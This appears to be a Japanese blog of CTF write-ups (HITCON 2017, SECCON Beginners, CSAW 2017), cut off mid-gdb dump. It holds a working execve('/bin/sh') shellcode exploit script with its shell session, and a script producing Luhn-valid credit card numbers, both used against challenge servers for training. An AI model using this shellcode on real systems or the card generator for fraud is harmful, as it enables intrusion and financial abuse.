HITCON CTF 2017 Quals - Easy to say -
開催期間(JST)
11/4 AM11:00 ~ 11/6 AM11:00
結果
・チーム名:wabisabi
・得点:331 pt
・順位:得点したチーム中,145/1078
解いた問題
・Easy to say (Misc 144)
取り組んだが解けなかった問題
・Start (Pwn)
・Re: Easy to say (Misc)
はじめに
HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.
結局始めたのは19時~から.
最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.
2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.
そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.
Writeup
Easy to say (Misc)
問題文
Are you good at shellcoding? Warm up! nc 52.69.40.204 8361
解析
$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871 easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped
64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.
限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.
このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.
最初困ったのが,gdbでstartするとコアダンプするっていう問題.
$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871 Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done. gdb-peda$ start No unwaited-for children left. zsh: abort (core dumped) gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871
シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.
結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.
すると,
0x555555554990: xor ebp,ebp
が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.
0x555555554ddf: call c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)
入力値チェック的な関数を呼んでいる箇所.
ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input!
を表示するルーチンへ飛ばす.
0x555555554e2b: call rdx
最終的にここでシェルコードを実行するルーチンへ.
ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.
コーディング
一番問題なのは, /bin/sh
という文字列の /
が重複していること.
よって,最初の /
はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.
.intel_syntax noprefix .global _start _start: mov rbx, 0x68732f6e696203 xor bl, 0x2c pushq rsi pushq rbx pushq rsp popq rdi mov al, 0x3b syscall
コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.
$ gcc -nostdlib shellcode.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt
gdbにて run < input.txt
をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.
#!/usr/bin/env python from pwn import * context(os="linux", arch="i386") """ 00000000004000d4 <_start>: 4000d4: 48 bb 03 62 69 6e 2f movabs rbx,0x68732f6e696203 4000db: 73 68 00 4000de: 80 f3 2c xor bl,0x2c 4000e1: 56 push rsi 4000e2: 53 push rbx 4000e3: 54 push rsp 4000e4: 5f pop rdi 4000e5: b0 3b mov al,0x3b 4000e7: 0f 05 syscall """ def main(): conn = remote("52.69.40.204", 8361) payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05" conn.send(payload) conn.interactive() if __name__ == "__main__": main()
$ python exploit.py [+] Opening connection to 52.69.40.204 on port 8361: Done [*] Switching to interactive mode Give me your code :Run ! $ ls -la total 72 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 root root 0 Nov 1 06:36 .dockerenv drwxr-xr-x 2 root root 4096 Sep 15 08:42 bin drwxr-xr-x 2 root root 4096 Apr 10 2017 boot drwxr-xr-x 5 root root 340 Nov 4 04:40 dev drwxr-xr-x 1 root root 4096 Nov 1 06:36 etc drwxr-xr-x 1 root root 4096 Nov 1 06:36 home drwxr-xr-x 1 root root 4096 Feb 16 2017 lib drwxr-xr-x 2 root root 4096 Sep 15 08:42 lib64 drwxr-xr-x 2 root root 4096 Sep 15 08:42 media drwxr-xr-x 2 root root 4096 Sep 15 08:42 mnt drwxr-xr-x 2 root root 4096 Sep 15 08:42 opt dr-xr-xr-x 125 root root 0 Nov 4 04:40 proc drwx------ 2 root root 4096 Sep 15 08:42 root drwxrwxr-- 1 root root 4096 Sep 18 23:31 run drwxr-xr-x 1 root root 4096 Sep 18 23:31 sbin drwxr-xr-x 2 root root 4096 Sep 15 08:42 srv dr-xr-xr-x 13 root root 0 Nov 4 06:16 sys drwxr-xr-- 2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp drwxr-xr-x 1 root root 4096 Sep 15 08:42 usr drwxr-xr-x 1 root root 4096 Sep 15 08:42 var $ cd home $ ls -la total 12 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 easy_to_say $ cd easy_to_say $ ls -la total 28 drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov 1 06:35 easy_to_say -rw-r--r-- 1 easy_to_say easy_to_say 43 Nov 1 06:35 flag -rwxr--r-- 1 easy_to_say easy_to_say 72 Nov 1 06:35 run.sh $ cat flag hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}
プロはすぐbabyっていう.
取り組んだが解けなかった問題
Start (Pwn)
問題文
Have you tried pwntools-ruby? nc 54.65.72.116 31337
server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.
また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.
server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.
そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.
Re: Easy to say (Misc)
問題文
I think you can do better! nc 13.112.180.65 8361
Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.
無理だった.
まとめ
こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebx
と xor bx, bx
では挙動が違うことに悩まされたり.( xor bx, bx
だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebx
だと,その結果が丸々RBXとなってしまう.同様に xor bl, bl
では下位1バイトだけ変更できる)
Rev問が1つも解けてないのが痛すぎる.
そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.
SECCON Beginners 2017 仙台 に参加した感想&Writeup(decodeme)
はじめに
誘おうとした友人はフィリピンに連れていかれるらしく,ぼっち参戦してきました.参加理由としては,ずっと行ってみたかったっていうのと,Webわからんっていうのと,SECCONステッカーが欲しかったって感じです.
以下,感想とCTF中に解けなかったバイナリ300のdecodemeのWriteupです.decodemeを帰りの電車の中でやってたら10分でフラグが出てきて,なんでこれ解けなかったんだってなりました.どうも時間が限られてるとプレッシャー的なものが働いて,脳死状態になるっぽくてダメっぽいです.
参加しての感想など
まずはオリエンテーション,そしてWebとForensicsとReversingの講義,その後にれっくすさんの話を聞いて,あとはみんなでワイワイCTFをしてました.
参加人数は60人ほどだったのですが,1位から5位まではステッカーが貰えるということで頑張りました.
CTFではReversingとかを普段やっていることもあって,1位を取ることができました.
スコアボードは見ないように解いていたのですが,運営の方々の声とかで自分が結構上位にいるなとわかりました,そして気づいたら1位になっててビビりました.
自分はバイナリから解いていたのですが,バイナリを解く人が少ないので自分がバイナリをある程度解き終わった後は,ForensicsとWebの問題でそれぞれ解いた人数などが一目瞭然で,どれが簡単そうで難しそうかなどもわかって進めやすかったので,バイナリから解くバイナリアン戦法はオススメです.
decodeme(Writeup)
誰も解いてなかった問題です.
確かCTF中は,xorとかいろんな事やっていて解くのに時間かかりそうだなぁと思ったのですぐにForensicsに切り替えて,その後Webっていう順番で進めてました.
結果,本番中には解けなかったのですが,帰りの電車で見てみたところ,ただxorしてるだけやんけってなって解くことができました.
作問側への配慮で,少しぼかしたことを書きます.
問題としては入力値をある文字数受け取ってからその文字数分のループに入り,各文字とカウンタ変数とのxorを取って,それが"N1v\\F`anfgoy"と等しければctf4b{%s}の中に入れてその文字列を出力するようになっています.
よって,"N1v\\F`anfgoy"という文字列に対してある文字数分ループしてカウンタ変数とのxorを取ってやれば元に戻ります.
flagを一部隠しますが,以下のようなflagになるはずです.
ctf4b{N0t_XXXXXXXr}
まとめ
どの講義も初心者にわかりやすく,とても良質な講義だったと思います.
3つの講義以外にもとても良いことを仰っていて,佳山さんとれっくすさんの話が印象に残っています.
佳山さんの倫理の話では,我々が技術を悪用しないのは法律に関係なく,自分たちの仕事に誇りを持っているからみたいなことを,れっくすさんの話では,CTFは最近難化しているが,知的好奇心が強い人は必ず強くなれる,みたいなことを仰っていました.
あとは,Reversingの講義において,少ない講義時間でなにを教えようとしているか,どのようなことを覚えてもらいたいかなどをReversingの講義を担当したちひろさんに聞くことができました.
Reversingは他の2つと違って,覚えるべきことが多いと思うので,少ない講義時間で教えるのは大変だなぁと思いました.
そしてCTFですが,1時間弱というとても少ない時間でやるCTFは初めてだったので,いい経験になりました.
もっといろいろな人にBeginnersに参加して貰いたいなと思ったので,どんどん他の人にも勧めようと思います.
運営の方々,ありがとうございました!
おまけ
戦利品です.(((懇親会のコーラも頂きました)))
CSAW CTF Qualification Round 2017 Writeup
開催期間(JST)
09/16 AM5:00 ~ 09/18 AM5:00
結果
・チーム名:wabisabi
・得点:851 pt
・順位:得点したチーム中,231/1444
解いた問題
・CVV (Misc100)
・tablEZ (Reversing100)
・Best Router (Forensics200)
・realism (Reversing400)
取り組んだが解けなかった問題
・pilot (Pwn75)
・Missed Registration (Forensics150)
・Gopherz (Reversing350)
はじめに
今回はEKOPARTYのほうと被っていて,一応両方登録はしたんですが,結局CSAWだけやってました.
土曜日は@kobadlveと@phustlyと集まって少しやっていて,日曜は家に引きこもってやってました.
去年のCSAWは576ptで252/1274だったので,一応去年より高い順位は取れたっぽい.
Writeup
CVV (Misc100)
ncで繋ぐと,こんな感じでいろいろな種類のクレジットカード番号を求められます.
$ nc misc.chal.csaw.io 8308 I need a new American Express! ^C $ nc misc.chal.csaw.io 8308 I need a new Visa!
クレジットカードのパターンは,'MasterCard','Discover','American','Visa'の4つ.
確か「面白くて眠れなくなる数学」とかいう本を以前読んだ時に,クレジットカード番号はとあるアルゴリズムによって決まっているってことを知って,つまりランダムに数字を入力すればいいというわけではなくて,そのアルゴリズムに沿った数字を入力する必要がありそうだなぁとか思いました.
各クレジットカードについてもカード番号の桁数が違っていたり,それぞれカード番号にルールが決まっていたりするので,そこら辺を気を付けながらスクリプトを書きます.
使われているアルゴリズムの名前はLuhnアルゴリズムというものらしく,どうせ実装してる人いるやろって思ったらWikipediaに載ってたり,いろいろな書き方で実装している人がいたので,それをお借りしました.
Luhnアルゴリズム(やってみた Python2.7) · GitHub
雑にスクリプトを書いて回してみたら,Visaのカード番号を毎回失敗するVisaが苦手なスクリプトが生まれてしまって,どうしようかなと思った結果,以下の任意のクレジットカード番号を生成する神サイトを見つけたので,適当に100個くらい生成して,それを使うようにしました.
あとは,何回か正解すると途中から出題が変わって,ある数字で始まるもの,終わるもの,与えられた番号がvalidかinvalidか返すもの,とかにそれぞれスクリプトを雑に対応させました.
与えられた番号がvalidかinvalidか返すやつは,Luhnアルゴリズム自体が全ての間違いを検出できるわけではないっぽくて,2回目で成功しました.
以下,書いたスクリプト.(めっちゃ汚いけど,解ければいいやろと思ってる)
Luhnアルゴリズムでvalidが返るまでランダムに数字を生成して,それを送るってことをやってる.1度使ったものは使えないっぽいけど,これだけ大きければほぼ被ることはないだろうということで,その対策はしてない.
#!/usr/bin/env python # coding: utf-8 import socket import random import itertools s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('misc.chal.csaw.io', 8308)) card_list = ['MasterCard', 'Discover', 'American', 'Visa'] # https://gist.github.com/oyakata/5955744 より def check_digits(text): """itertools.cycleを使って実装。""" def even_value(x): y = x * 2 return y - 9 if y > 9 else y values = (int(x) for x in reversed(text)) switcher = itertools.cycle((lambda x: x, even_value)) digits = (func(x) for func, x in itertools.izip(switcher, values)) return sum(digits) % 10 == 0 def main(): count = 0 f = open('visa.txt', 'r') visa = f.read().split('\n') f.close() while(True): data = s.recv(256) print data all_data = data.split(' ') card = all_data[4].replace('!','').rstrip() if card == 'card': card = all_data[8].replace('!', '').rstrip() print card if card == 'MasterCard': while True: num = '5' + str(random.randint(100000000000000, 999999999999999)) print num if check_digits(num): break elif card == 'Discover': while True: num = '60110' + str(random.randint(10000000000, 99999999999)) print num if check_digits(num): break elif card == 'American': while True: num = '34' + str(random.randint(1000000000000, 9999999999999)) print num if check_digits(num): break elif card == 'Visa': print visa[count] num = visa[count] elif card == 'if': card_num = all_data[5] if check_digits(card_num): num = '1' else: num = '0' else: info = all_data[6] if len(card) == 4 and info == "starts": while True: num = card + str(random.randint(100000000000, 999999999909)) print num if check_digits(num): break elif len(card) == 1 and info == "ends": while True: num = str(random.randint(100000000000000, 999999999999999)) + card print num if check_digits(num): break elif len(card) == 4 and info == "ends": while True: num = str(random.randint(100000000000, 999999999909)) + card print num if check_digits(num): break s.sendall(num + '\n') count = count + 1 if __name__ == '__main__': main()
$ python solve.py . . . if True Thanks! I need to know if 7358400188115005 is valid! (0 = No, 1 = Yes) if True Thanks! I need to know if 8664780687553453 is valid! (0 = No, 1 = Yes) if False Thanks! I need to know if 1514774928101638 is valid! (0 = No, 1 = Yes) if False Thanks! I need to know if 9017155594857850 is valid! (0 = No, 1 = Yes) if True Thanks! I need to know if 3591469017167338 is valid! (0 = No, 1 = Yes) if False Thanks! flag{ch3ck-exp3rian-dat3-b3for3-us3}
tablEZ (Reversing100)
一番最初に解いたやつ.
問題文
Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
$ ./true Please enter the flag: hoge WRONG
crackme系のやつ.
確か,入力値を元にテーブルからindexを求めて,それを使って再度テーブルから値を取り出す,ってことをやっていた気がします.
以下,解いていた時のメモ.
gdb-peda$ x/80 0x555555755281 0x555555755281 <trans_tbl+1>: 0x056c04c4039b02bb 0x09450822072e064a 0x555555755291 <trans_tbl+17>: 0x0d060cd50bb80a33 0x117910fa0fbc0e0a 0x5555557552a1 <trans_tbl+33>: 0x15bf14b213e11224 0x1960188617ad162c 0x5555557552b1 <trans_tbl+49>: 0x1d591cd81bb61aa4 0x217720941f411e87 0x5555557552c1 <trans_tbl+65>: 0x256124cb234f22f0 0x292a289727c02625 0x5555557552d1 <trans_tbl+81>: 0x2d9f2cc92b082a5c 0x31f930cf2f4e2e43 0x5555557552e1 <trans_tbl+97>: 0x35e73465336f323e 0x39ef38b7373936c5 0x5555557552f1 <trans_tbl+113>: 0x3daa3c2f3bc83ad0 0x4181403c3f473ec7 0x555555755301 <trans_tbl+129>: 0x45a644d343494232 0x49404858472b4696 0x555555755311 <trans_tbl+145>: 0x4d1a4cee4b9c4af1 0x518050d64fc64e5b 0x555555755321 <trans_tbl+161>: 0x553d549a536d522d 0x59e05884579356a7 0x555555755331 <trans_tbl+177>: 0x5d095cb95b3b5a12 0x614860995fba5e69 0x555555755341 <trans_tbl+193>: 0x6582647c63b16273 0x69fb689d672766be 0x555555755351 <trans_tbl+209>: 0x6db36cf46b7e6a67 0x711b705f6fc26e05 0x555555755361 <trans_tbl+225>: 0x7511747173237254 0x796878a577d27630 0x555555755371 <trans_tbl+241>: 0x7d7a7cf57b3f7a9e 0x8185800c7f0b7ece 0x555555755381 <trans_tbl+257>: 0x858e845e836382de 0x89da886a87fe86bd 0x555555755391 <trans_tbl+273>: 0x8dac8ce88b888a26 0x91f690a88f628e03 0x5555557553a1 <trans_tbl+289>: 0x95c3946b937592f7 0x998f98e697519646 0x5555557553b1 <trans_tbl+305>: 0x9d919c5a9b769a28 0xa152a0449f1f9eec 0x5555557553c1 <trans_tbl+321>: 0xa53aa48ba3fca201 0xa910a816a7a3a6a1 0x5555557553d1 <trans_tbl+337>: 0xad95accaab50aa14 0xb10eb035af4bae92 0x5555557553e1 <trans_tbl+353>: 0xb55db41db320b2b5 0xb90fb86eb7e2b6c1 0x5555557553f1 <trans_tbl+369>: 0xbdd9bcd4bb90baed 0xc157c098bfddbe42 0x555555755401 <trans_tbl+385>: 0xc556c478c319c237 0xc904c8d1c774c6af 0x555555755411 <trans_tbl+401>: 0xcd4ccce5cb55ca29 0xd1dbd089cff2cea0 0x555555755421 <trans_tbl+417>: 0xd5ead483d338d2e4 0xd98cd8dcd707d617 0x555555755431 <trans_tbl+433>: 0xdde9dc7bdbb4da8a 0xe10de015dfebdeff 0x555555755441 <trans_tbl+449>: 0xe534e4f3e3a2e202 0xe913e8f8e718e6cc 0x555555755451 <trans_tbl+465>: 0xed21ecaeeb7fea8d 0xf170f04defcdeee3 0x555555755461 <trans_tbl+481>: 0xf572f4abf3fdf253 0xf9a9f866f71cf664 0x555555755471 <trans_tbl+497>: 0xfddffcd7fb1efab0 0xe0000031ff7dfe36 0x5555555549c1 <main+289>: cmp QWORD PTR [rbp-0xc8],0x25 FLAGは0x25文字(37文字) This is the flag. gdb-peda$ x/30 0x7fffffffcac0 0x7fffffffcac0: 0xb1e711 f59d73b327 0x30f4f9f9b399beb3 0x7fffffffcad0: 0xb19965237399711b 0xf9279923be111165 0x7fffffffcae0: 0x000000 ce65059923
逆の処理を書くより,入力値を与えてテーブル作って,そこからflagを求めたほうが早そうなので,その方法でやりました.
string = "d0efb739c5e7656f3ef999cef53b12e08493a73d9a6d2d80d6c65b1aee9cf140582b96a6d349323f9e68a5d230117123541b5fc205b3f47e67fb9d27be827cb173" char = (('a'..'z').to_a.join + ('A'..'Z').to_a.join + '{}_' + ('0'..'9').to_a.join) list1 = string.scan(/.{1,2}/).reverse list2 = char.scan(/.{1,1}/) table = {} list1.zip(list2).each do |val1, val2| table.store(val1, val2) end flag_str = "ce65059923f9279923be111165b19965237399711b30f4f9f9b399beb3b1e711f59d73b327" flag_list = flag_str.scan(/.{1,2}/).reverse flag = "" flag_list.each do |val| flag = flag + table[val].to_s end puts flag
$ ruby solve.rb flag{t4ble_l00kups_ar3_b3tter_f0r_m3}
Best Router (Forensics200)
問題文
http://forensics.chal.csaw.io:3287 NOTE: This will expand to ~16GB!
解いているチームが多かったのでできそうだなぁとは思ってたのですが,16GBも容量がなかったので,土曜家に帰ってきてからDesktopのほうで解いたやつ.
与えられたbest_router.tar.gzを解凍すると,14.5GBのイメージファイルが出てきます.
FTK Imagerで解けそうなので,開いてみる.
いろいろありそうだけど,問題文を思い出してみる.
ログインフォームのURLが与えられているので,これにログインできるとflagが出そう.
/var/wwwが怪しそうなので見てみるとビンゴ.
flag.txtは空でここからは見れないので,やっぱり与えられたURLにログインする必要がありそう.
username:admin psassword:iforgotaboutthemathtest
でログインするとflagが貰える.
realism (Reversing400)
高得点の解きたいなぁと思って,rev問見てたら数十人が解いていたのでやってみた.
問題文
Did you know that x86 is really old? I found a really old Master Boot Record that I thought was quite interesting! At least, I think it's really old... qemu-system-i386 -drive format=raw,file=main.bin
QEMU初めて使った.
与えられたmain.binはブートセクタ.
与えれらたコマンド通りにmain.binを起動してみると,以下のような画面が出てきて,またこれもcrackme系の問題.
適当に入力すると,WRONG FLAG.
ブートセクタは512バイトで読むべきコード自体は少ないのですが,どう解析したらいいかわからなくて困った.
ググってたらndisasm
でできるよ,みたいなのを見つけて逆アセンブルしたらそれっぽく出てきたけど,やっぱり動的解析しないと厳しそう.
めっちゃ調べていろいろやってみたら,以下のようにして解析できた.
$ qemu-system-i386 -drive format=raw,file=main.bin -S -gdb tcp::1234
別terminalにてgdbを起動して,set architecture
,target remote
でそれぞれ指定.
ブートセクタは0x7C00にロードされるらしいので,そこにブレークポイントをしかける.
$ gdb gdb-peda$ set architecture i8086 gdb-peda$ target remote localhost:1234 gdb-peda$ b *0x7c00
pedaのプロンプトは出ているのに使えなかったので,ノーマルなgdbでノーマルなコマンドで解析する.
最初の4文字が"flag"かどうかチェックしている部分.入力値の長さのチェックはこれの前にある.
0x7c6f: cmp DWORD PTR ds:0x1234,0x67616c66 0x7c78: jne 0x7d4d
その後,入力値チェックがある.あとはここを読んで求解処理を書くだけ.
0x7c7c: movaps xmm0,XMMWORD PTR ds:0x1238 0x7c81: movaps xmm5,XMMWORD PTR ds:0x7c00 0x7c86: pshufd xmm0,xmm0,0x1e 0x7c8b: mov si,0x8 0x7c8e: movaps xmm2,xmm0 0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90] 0x7c96: psadbw xmm5,xmm2 0x7c9a: movaps XMMWORD PTR ds:0x1268,xmm5 0x7c9f: mov di,WORD PTR ds:0x1268 0x7ca3: shl edi,0x10 0x7ca7: mov di,WORD PTR ds:0x1270 0x7cab: mov dx,si 0x7cad: dec dx 0x7cae: add dx,dx 0x7cb0: add dx,dx 0x7cb2: cmp edi,DWORD PTR [edx+0x7da8] 0x7cba: jne 0x7d4d 0x7cbe: dec si 0x7cbf: test si,si # If si is 0, finish. 0x7cc1: jne 0x7c8e
8回ループして入力値チェックしている.間違っていたら即Wrong.
最初にxmm0レジスタに読み込んだ入力値をpshufd
命令でシャッフルしている.
0x7c86: pshufd xmm0,xmm0,0x1e
このpshufd
命令までが初期化っぽい.
その後,andps
命令でシャッフルされた入力値をマスクする.(16バイトの内,ある2バイトを0にする.この0にする位置は徐々にずれていく)
0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90]
そして,マスクした入力値とxmm5レジスタを使ってpsadbw
命令で差の絶対値を取ったり足したりする.(このxmm5レジスタの値は初期値だけ決まっていて,あとはpsadbwで求まった値を次の計算でも使う)
0x7c96: psadbw xmm5,xmm2
psadbw命令は以下がわかりやすい.
http://www.officedaytime.com/tips/simdimg/si.php?f=psadbw
その後,求まった値を使って8バイトの数値を作って,それが特定の値と等しいかどうかチェックしている.
1回目と2回目で各命令を実行したときのレジスタの値とかを逐一調べてメモしてた.
2回目の値も調べるために,バイナリ本体にパッチを当てちゃうと便利.
この部分を
0x7cba: jne 0x7d4d
以下のように書き換えて,オペコードをjeにする.
解いていた時のメモ.
Initialize ======================================================================================= => 0x7c6f: cmp DWORD PTR ds:0x1234,0x67616c66 0x7c78: jne 0x7d4d 0x7c7c: movaps xmm0,XMMWORD PTR ds:0x1238 gdb-peda$ p $xmm0 $2 = { v4_float = {12.0784864, 12.0784311, 12.0784311, 1.60549888e+37}, v2_double = {2261634.5098039485, 2.2040338477057924e+295}, v16_int8 = {0x7b, 0x41 <repeats 14 times>, 0x7d}, v8_int16 = {0x417b, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x7d41}, v4_int32 = {0x4141417b, 0x41414141, 0x41414141, 0x7d414141}, v2_int64 = {0x414141414141417b, 0x7d41414141414141}, uint128 = 0x7d41414141414141414141414141417b } 0x7c81: movaps xmm5,XMMWORD PTR ds:0x7c00 gdb-peda$ p $xmm5 $3 = { v4_float = {-134298496, -2.50091934, -1.48039995e-36, 1.93815862e-18}, v2_double = {-8.0294250547975565, 1.241726856953559e-144}, v16_int8 = {0xb8, 0x13, 0x0, 0xcd, 0x10, 0xf, 0x20, 0xc0, 0x83, 0xe0, 0xfb, 0x83, 0xc8, 0x2, 0xf, 0x22}, v8_int16 = {0x13b8, 0xcd00, 0xf10, 0xc020, 0xe083, 0x83fb, 0x2c8, 0x220f}, v4_int32 = {0xcd0013b8, 0xc0200f10, 0x83fbe083, 0x220f02c8}, v2_int64 = {0xc0200f10cd0013b8, 0x220f02c883fbe083}, uint128 = 0x220f02c883fbe083c0200f10cd0013b8 } 0x7c86: pshufd xmm0,xmm0,0x1e gdb-peda$ p $xmm0 $4 = { v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, v2_double = {2.2040338477057924e+295, 2261750.5098039214}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, uint128 = 0x4141417b414141417d41414141414141 } 0x7c8b: mov si,0x8 ======================================================================================= Loop ======================================================================================= 0x7c8e: movaps xmm2,xmm0 gdb-peda$ p $xmm2 $6 = { v4_float = {12.0784311, 1.60549888e+37, 12.0784311, 12.0784864}, v2_double = {2.2040338477057924e+295, 2261750.5098039214}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x7d41, 0x4141, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414141, 0x7d414141, 0x41414141, 0x4141417b}, v2_int64 = {0x7d41414141414141, 0x4141417b41414141}, uint128 = 0x4141417b414141417d41414141414141 } 0x7c91: andps xmm2,XMMWORD PTR [si+0x7d90] # first, si is 0x8. second, si is 0x7. 0 の位置が徐々にずれていく. First: gdb-peda$ x/30wx $si+0x7d90 0x7d98: 0xffffff00 0xffffffff 0xffffff00 0xffffffff 0x7da8: 0x02110270 0x02290255 0x025e0291 0x01f90233 0x7db8: 0x027b0278 0x02090221 0x0290025d 0x02df028f 0x7dc8: 0x00000014 0x00000000 0x00000000 0x00000000 0x7dd8: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de8: 0x00000000 0x00000000 0x00000000 0x00000000 0x7df8: 0x00000000 0xaa550000 0x00000000 0x00000000 0x7e08: 0x00000000 0x00000000 Second: gdb-peda$ x/20wx $si+0x7d90 0x7d97: 0xffff00ff 0xffffffff 0xffff00ff 0xffffffff 0x7da7: 0x110270ff 0x29025502 0x5e029102 0xf9023302 0x7db7: 0x7b027801 0x09022102 0x90025d02 0xdf028f02 0x7dc7: 0x00001402 0x00000000 0x00000000 0x00000000 0x7dd7: 0x00000000 0x00000000 0x00000000 0x00000000 First: gdb-peda$ p $xmm2 $7 = { v4_float = {12.0783691, 1.60549888e+37, 12.0783691, 12.0784864}, v2_double = {2.2040338477057629e+295, 2261750.5098038912}, v16_int8 = {0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x0, 0x41, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x4100, 0x4141, 0x4141, 0x7d41, 0x4100, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41414100, 0x7d414141, 0x41414100, 0x4141417b}, v2_int64 = {0x7d41414141414100, 0x4141417b41414100}, uint128 = 0x4141417b414141007d41414141414100 } Second: gdb-peda$ p $xmm2 $6 = { v4_float = {12.062562, 1.60549888e+37, 12.062562, 12.0784864}, v2_double = {2.2040338476982412e+295, 2261750.5097961728}, v16_int8 = {0x41, 0x0, 0x41, 0x41, 0x41, 0x41, 0x41, 0x7d, 0x41, 0x0, 0x41, 0x41, 0x7b, 0x41, 0x41, 0x41}, v8_int16 = {0x41, 0x4141, 0x4141, 0x7d41, 0x41, 0x4141, 0x417b, 0x4141}, v4_int32 = {0x41410041, 0x7d414141, 0x41410041, 0x4141417b}, v2_int64 = {0x7d41414141410041, 0x4141417b41410041}, uint128 = 0x4141417b414100417d41414141410041 } 0x7c96: psadbw xmm5,xmm2 First: gdb-peda$ p $xmm5 $9 = { v4_float = {8.88423226e-43, 0, 1.06919073e-42, 0}, v2_double = {3.1323761946335031e-321, 3.7697208777687111e-321}, v16_int8 = {0x7a, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfb, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x27a, 0x0, 0x0, 0x0, 0x2fb, 0x0, 0x0, 0x0}, v4_int32 = {0x27a, 0x0, 0x2fb, 0x0}, v2_int64 = {0x27a, 0x2fb}, uint128 = 0x00000000000002fb000000000000027a } ==================== >>> hex(0x22 - 0x41) '-0x1f' >>> hex(0x0f - 0x41) '-0x32' >>> hex(0x02 - 0x41) '-0x3f' >>> hex(0xc8 - 0x7b) '0x4d' >>> hex(0x83 - 0x41) '0x42' >>> hex(0xfb - 0x41) '0xba' >>> hex(0xe0 - 0x41) '0x9f' >>> hex(0x83 - 0x00) '0x83' >>> hex(0x1f + 0x32 + 0x3f + 0x4d + 0x42 + 0xba + 0x9f + 0x83) '0x2fb' ==================== Second: gdb-peda$ p $xmm5 $7 = { v4_float = {7.13260918e-43, 0, 8.91225823e-43, 0}, v2_double = {2.5147941373319449e-321, 3.142257507550328e-321}, v16_int8 = {0xfd, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x1fd, 0x0, 0x0, 0x0, 0x27c, 0x0, 0x0, 0x0}, v4_int32 = {0x1fd, 